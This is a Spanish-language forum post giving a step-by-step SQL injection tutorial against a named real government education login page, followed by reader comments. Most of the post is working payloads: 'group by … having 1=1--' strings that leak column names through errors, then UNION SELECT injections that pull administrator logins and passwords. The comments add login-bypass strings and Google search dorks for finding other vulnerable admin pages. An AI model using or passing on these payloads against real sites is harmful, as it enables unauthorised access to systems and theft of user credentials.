(http://3.bp.blogspot.com/-dIS2rHtJFwk/UTf6PehbsFI/AAAAAAAABjI/wL6Myv4CYho/s1600/sqli.gif)
Bien comencemos, para este tutorial utizare la página de http://informaticaeducacion.nl.gob.mx/saci/login.asp
Este tutorial es con fines educativos y no me hago responsable del uso que le den.
En el en campo "Clave de Acceso" y "Password" del login escribimos:
' having 1= 1--(http://1.bp.blogspot.com/-J7k1oJHoSgg/UTf8JRg4JfI/AAAAAAAABjg/ArO-9DbG5i4/s1600/sql_asp.png)
Al hacerlo nos dara el seguiente error:
(http://1.bp.blogspot.com/-tj8MihADRKU/UTf8LUX5sLI/AAAAAAAABj8/ghaDKC8jsJU/s1600/sql_asp_1.png)
Sabemos que es vulnerable y nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave, teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave having 1 = 1--Hacemos la inyección y el siguiente error sera así:
(http://2.bp.blogspot.com/-54FqhoO1cEk/UTf8K2HEwAI/AAAAAAAABjo/ru7vDpfUO1Y/s1600/sql_asp_2.png)
Nos acaba de dar el nombre de la tabla y la columna "Usuario.Nombre", teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave, Usuario.Nombre having 1=1--Hacemos la inyección y el siguiente error sera así:
(http://4.bp.blogspot.com/-TMaovgAAN8I/UTf8LmYvvdI/AAAAAAAABkA/yC-h9VsAThI/s1600/sql_asp_3.png)
Nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave_de_Acceso", teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso having 1=1--Hacemos la inyección y el siguiente error sera así:
(http://4.bp.blogspot.com/-qtDfNyNdz34/UTf8Ohdw2sI/AAAAAAAABko/LCTSp96cqFs/s1600/sql_asp_4.png)
Nos acaba de dar el nombre de la tabla y la columna "Usuario.Password", teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password having 1=1--Hacemos la inyección y el siguiente error sera así:
(http://1.bp.blogspot.com/-un-25yMb0jw/UTf8M8hsWtI/AAAAAAAABkI/XaxayvylfQo/s1600/sql_asp_5.png)
Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tipo_de_Usuario", teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario having 1=1--Hacemos la inyección y el siguiente error sera así:
(http://3.bp.blogspot.com/-t4rvrx29cnQ/UTf8NTt8lBI/AAAAAAAABkQ/btQQfI4T3nw/s1600/sql_asp_6.png)
Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tunto_de_Captura", teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura having 1=1--
Hacemos la inyección y el siguiente error sera así:
(http://2.bp.blogspot.com/-om2chci_rsA/UTf8JXDjOxI/AAAAAAAABjc/OpcJ-8i-qJI/s1600/slq_asp_7.png)
Nos acaba de dar el nombre de la tabla y la columna "Usuario.ESTATUS", teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura, Usuario.ESTATUS having 1=1--Como podemos observar al hacer esto nos dira "clave de acceso y/o password incorrectos" esto quiere decir que hemos terminado de buscar las tablas y columnas.
(http://3.bp.blogspot.com/-IwAatK6XkPM/UTgCsnt37_I/AAAAAAAABk4/4S5KPFGP0gQ/s1600/sql_login_asp.png)
Nuestra siguiente inyección sera de esta forma:
' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from Usuario where Clave_de_Acceso > 'a'--Esta parte tenemos 6 unos y min(LOGIN) es la posición al hacer la inyección les arroja los datos.
La posión de los unos puede varia un ejemplo podría ser:
' union select 1,1,1,1,min(Clave_de_Acceso)1,1 from Usuario where Clave_de_Acceso > 'a'--(http://4.bp.blogspot.com/-5YbxfL6Uyng/UTf8N9E22xI/AAAAAAAABkY/DQuje9yCVAA/s1600/sql_asp_8.png)
Curiosamente al hacer la inyección de esta forma tenemos el acceso:
' union select 1,1,1,1,1,1,min(Password) from Usuario where Clave_de_Acceso > 'ADMIN'--(http://1.bp.blogspot.com/-7j5HvUOoJaQ/UTf8LU5-RoI/AAAAAAAABj0/r6jbDcfn5tk/s1600/panel.png)
La inyección para que les arroje la password es:
' union select 1,1,1,1,1,1,min(Password) from Usuario where Password > 'ADMIN'--(http://2.bp.blogspot.com/-3CaHjaffQfY/UTf8ObZN1OI/AAAAAAAABkg/V3fUJbMhFQ0/s1600/sql_asp_9.png)
Buen post. Traté con una web y al momento de usar
' union select 1,1,1,1,min(xxxx) from yyyyy where xxxx > 'a'--
Al poner ese código (con los respectivos datos), no puedo acceder (el número de columnas es correcto, o sino sale un error). Simplemente carga de nuevo el login. No me da el error que aparece ahí. También probé en cambiar el min(xxxx) a todas las posiciones de los 1's y nada. ¿Alguna idea?
jojo! gracias por compartir.
ahora toca probar.!
existen otras consultas sql que le puedes meter a los campos de texto para bypassear y en este caso se esta descubriendo solamente los campos de una sola tabla y no de varias como mencionas, la tabla seria "Usuario", queria hacer esa aclaración
salu2
You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
Prueba con esto :
user:'1 or '1'='1
password:'1 or '1'='1
Esa Sentencia Es Muy Conocida Se Puede Usar Con El Dork De Google
inurl :admin login.asp
inurl :admin.asp
Tambien Funciona
username: admin
password: 'or''='
S2